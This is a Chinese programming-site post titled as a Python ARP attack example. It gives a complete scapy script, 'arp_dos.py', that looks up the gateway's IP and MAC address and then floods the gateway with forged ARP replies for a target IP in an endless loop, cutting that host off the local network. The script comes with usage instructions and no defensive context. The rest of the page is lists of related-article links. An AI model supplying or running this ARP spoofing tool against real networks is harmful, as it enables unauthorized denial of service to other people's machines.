python写的ARP攻击代码实例


Posted in Python onJune 04, 2014

注:使用这个脚本需要安装scapy 包
最好在linux平台下使用,因为scapy包在windows上安装老是会有各种问题

#coding:utf-8
#example :sudo  python arp_dos.py  192.168.1.103
from scapy.all import ARP,send
import os,re,sys
def get_gateway_ip():
    t=os.popen('route -n')
    for i in t:
        if i.startswith('0.0.0.0'):
            r=re.split("\s+",i)
            return r[1]
def get_gateway_hw(ip):
    t=os.popen('arp -e %s' % ip)
    for i in t:
        if i.startswith(ip):
            r=re.split("\s+",i)
            return r[2]
def hack(hackip):
    ip=get_gateway_ip()
    hw=get_gateway_hw(ip)
    arp=ARP(op=2,pdst=ip,hwdst=hw,psrc=hackip)
    #os.popen('ifconfig eth0 %s' % hackip )
    while 1:
        send(arp)
def help():
    print ("USEAGE: sudo python arp_dos.py 192.168.1.100")
def main():
    if len(sys.argv) != 2:
        help()
    else:
        hack(sys.argv[1])
if __name__=="__main__":
    main()
Python 相关文章推荐
Python中为什么要用self探讨
Apr 14 Python
Python抓取手机号归属地信息示例代码
Nov 28 Python
Python SQLite3数据库日期与时间常见函数用法分析
Aug 14 Python
python使用fork实现守护进程的方法
Nov 16 Python
Python中实现switch功能实例解析
Jan 11 Python
Python生成器generator用法示例
Aug 10 Python
解决Pycharm运行时找不到文件的问题
Oct 29 Python
PYTHON实现SIGN签名的过程解析
Oct 28 Python
python3.6连接mysql数据库及增删改查操作详解
Feb 10 Python
python实现逻辑回归的示例
Oct 09 Python
python判断all函数输出结果是否为true的方法
Dec 03 Python
python获取对象信息的实例详解
Jul 07 Python
python和C语言混合编程实例
Jun 04 #Python
python实现的一个p2p文件传输实例
Jun 04 #Python
python实现文件分组复制到不同目录的例子
Jun 04 #Python
python实现的udp协议Server和Client代码实例
Jun 04 #Python
Python实现同时兼容老版和新版Socket协议的一个简单WebSocket服务器
Jun 04 #Python
Python程序员鲜为人知但你应该知道的17个问题
Jun 04 #Python
Python和Ruby中each循环引用变量问题(一个隐秘BUG?)
Jun 04 #Python
You might like
php学习笔记 面向对象的构造与析构方法
2011/06/13 PHP
分享下PHP register_globals 值为on与off的理解
2013/09/26 PHP
php实现将上传word文件转为html的方法
2015/06/03 PHP
thinkPHP简单调用函数与类库的方法
2017/03/15 PHP
改进版通过Json对象实现深复制的方法
2012/10/24 Javascript
jquery插件冲突(jquery.noconflict)解决方法分享
2014/03/20 Javascript
基于javascript实现最简单的选项卡切换效果
2016/05/16 Javascript
plupload+artdialog实现多平台上传文件
2016/07/19 Javascript
js实现增加数字显示的环形进度条效果
2017/02/05 Javascript
javascript验证香港身份证的格式或真实性
2017/02/07 Javascript
JavaScript屏蔽Backspace键的实现代码
2017/11/02 Javascript
vue init失败简单解决方法(终极版)
2017/12/22 Javascript
JS实现标签滚动切换效果
2017/12/25 Javascript
JavaScript原生数组函数实例汇总
2020/10/14 Javascript
[01:20]DOTA2上海特级锦标赛现场采访:谁的ID最受青睐
2016/03/25 DOTA
比较详细Python正则表达式操作指南(re使用)
2008/09/06 Python
Python中bisect的用法
2014/09/23 Python
python实现在windows服务中新建进程的方法
2015/06/30 Python
Windows 安装 Anaconda3+PyCharm的方法步骤
2019/06/13 Python
Mac安装python3的方法步骤
2019/08/09 Python
pytorch 实现将自己的图片数据处理成可以训练的图片类型
2020/01/08 Python
Django 再谈一谈json序列化
2020/03/16 Python
如何卸载python插件
2020/07/08 Python
通俗易懂了解Python装饰器原理
2020/09/17 Python
纯CSS3制作的简洁蓝白风格的登录模板(非IE效果更好)
2013/08/11 HTML / CSS
HTML5+CSS3:3D展示商品信息示例
2017/01/03 HTML / CSS
英国排名第一的冲浪店:Ann’s Cottage
2020/06/21 全球购物
医护人员英文求职信范文
2013/11/26 职场文书
《跨越海峡的生命桥》教学反思
2014/02/24 职场文书
高中军训感言800字
2014/03/05 职场文书
颐和园的导游词
2015/01/30 职场文书
react合成事件与原生事件的相关理解
2021/05/13 Javascript
利用python进行数据加载
2021/06/20 Python
mysql备份策略的实现(全量备份+增量备份)
2021/07/07 MySQL
Tomcat 与 maven 的安装与使用教程
2022/06/16 Servers
Promise静态四兄弟实现示例详解
2022/07/07 Javascript